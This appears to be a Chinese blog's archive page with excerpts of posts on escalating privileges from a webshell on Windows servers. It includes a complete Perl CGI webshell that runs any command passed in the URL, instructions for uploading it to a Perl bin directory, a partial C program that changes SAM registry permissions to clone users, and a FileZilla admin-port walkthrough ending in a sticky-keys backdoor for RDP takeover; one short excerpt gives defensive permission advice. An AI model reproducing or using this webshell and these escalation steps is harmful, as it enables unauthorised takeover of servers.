- 1
yii2 rbac权限管理
作者:admin 日期:2015-08-17
API实现修改注册表权限
作者:admin 日期:2011-03-03
转来的文章，由于他也是转的，而且没有写出处，所以我也不写了。这个代码，有时候可能需要用到。比如写程序克隆用户的时候。
#include <Windows.h>
#include <Aclapi.h>
#pragma comment (lib,"Advapi32.lib")
void main()
{
DWORD dwRet;
// 下面这个字符串的值修改为想要进行权限操作的注册表项，注册表每一级的权限是不一样的，所以需要很具体地指定到某一级
LPSTR SamName = "MACHINE\\SAM\\SAM";
PSECURITY_DESCRIPTOR pSD = NULL;
PACL pOldDacl = NULL;
PACL pNewDacl = NULL;
EXPLICIT_ACCESS ea;
HKEY hKey = NULL;
利用Perl提权
作者:admin 日期:2010-05-30
Perl 语言由 Larry Wall 创建，最初作为一种实用解释语言。其主要功能最初是用于分析基于文本的数据和生成这些数据的统计或结果。随着 Internet 的普及推广，我们已经感受到 Perl 在 CGI 编程和处理格式数据上的强大功能。由于 Perl 对 process、文档和文字有很强的处理、变换能力，因此凡是有关快速原型设计、系统工具、软件工具、系统管理、资料库连结、图像程式设计、网络连结和 WWW 程式设计等之类的任务，都特别适合用 Perl 来完成
c:\prel，有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell放到PERL目录下的BIN目中
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "
\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cmd.pl上传至BIN目录执行,
(如果不能运行，可以试试改为cgi 扩展呢，把刚才的 pl文件改为 cgi文件)
在IE浏览窗口中提交提交 http://anyhost//cmd.pl?dir 即可开始执行命令,请注意这个SHELL是具有ADMIN权限的,能够添加帐号并加入管理员组,书写规则是在?后加入你需要执行的命令.
为什么安装PERL能导至黑客在服务器上提升权限呢?原理很简单,因为PERL在默认安装时BIN目录是具有EVERYONE的完全控制权限和CGI执行权限的,所以能执行任意命令,这是一个NTFS权限导至的提权漏洞.
FileZilla提权
作者:admin 日期:2010-05-10
事情的起因:一次拿到一个个人讲师的webshell，想提权，服务器权限设置的不严，但是提权不好提，只有一个C盘，也没装什么软件,没 mysql,mssql，su，360等一些熟悉的提权软件。执行下命令看看吧！netstat -an看到有个默认的端口14147网上搜了下原来是一款叫做FileZilla的FTP软件的一个管理端口。网上搜了下FileZilla提权，还真有http://xiaoyi.us/archFPipe.exeives/230。用了此上说的方法，但是始终连接不上，可能真的像作者说的对与网络的带宽的要求很高，或者是硬防的问题。但是自己后来想，serv-U能通过lcx直接转发，然后本地连接，为什么还要用FPipe.exe这东西呢！重新试了下，转发的太少了，还是网速问题。5秒左右才返回一个5bytes数据包给本地。难道这个办法不行？不死心在虚拟机实验了。成功了，就有了此文。
首先找到FileZilla的安装目录，打开FileZilla Server Interface.xml，里面有管理口令
在虚拟机里进行转发如下图
这里使用的本地IP是127.0.0.1因为FileZilla的管理IP地址只能是127.0.0.1
转发成功了，返回信息
接下来就是用FileZilla客户端来连接了
嘿嘿，连接成功
接下来就是添加用户，设置目录为C盘,权限设置为完全控制即可
FileZilla Server不比serv-U，可以quote site exec执行dos命令，要实现提权的话可以FTP登录上去操作文件管理，如替换系统服务、替换系统文件、将程序置于启动目录等等。
我这里就替换粘贴键了，3389登陆，5下shift拿下服务器。
最新最全的WEBSHELL提权方法【1】
作者:admin 日期:2010-03-26
WEBSHELL权限提升技巧
c: d: e:.....
C:\Documents and Settings\All Users\「开始」菜单\程序\
看这里能不能跳转，我们从这里可以获取好多有用的信息比如Serv-U的路径，
拒绝黑客入侵 设网站文件目录与数据库权限
作者:admin 日期:2010-03-24
网站目录权限的设置方法
大多数网站都是采用程序搭建，对于系统管理的目录，可以将其设置为可读也可执行脚本，但不可写入的权限;但是对于放置网页静态文件的目录，以及放置图片文件、模板文件的目录，就可以将其设置为可读写但不可执行的系统权限。在权限分配明确之后，即使系统被入侵，也只能浏览而无法对文件进行直接的操作。
Gene6 FTP Server提权方法
作者:admin 日期:2010-03-23
Cacls提权命令
作者:admin 日期:2010-02-07
一些webshell提权的方法
作者:admin 日期:2009-11-28
首先要说明的是，过早的一些漏洞我们就不再多说了，只说一些现在可以见到的吧。还有就是本文的题目是[b]webshell下的服务器提权[/b]方法。
下面我们就进入主题，对[b]webshell的提权[/b]方法！
- 1
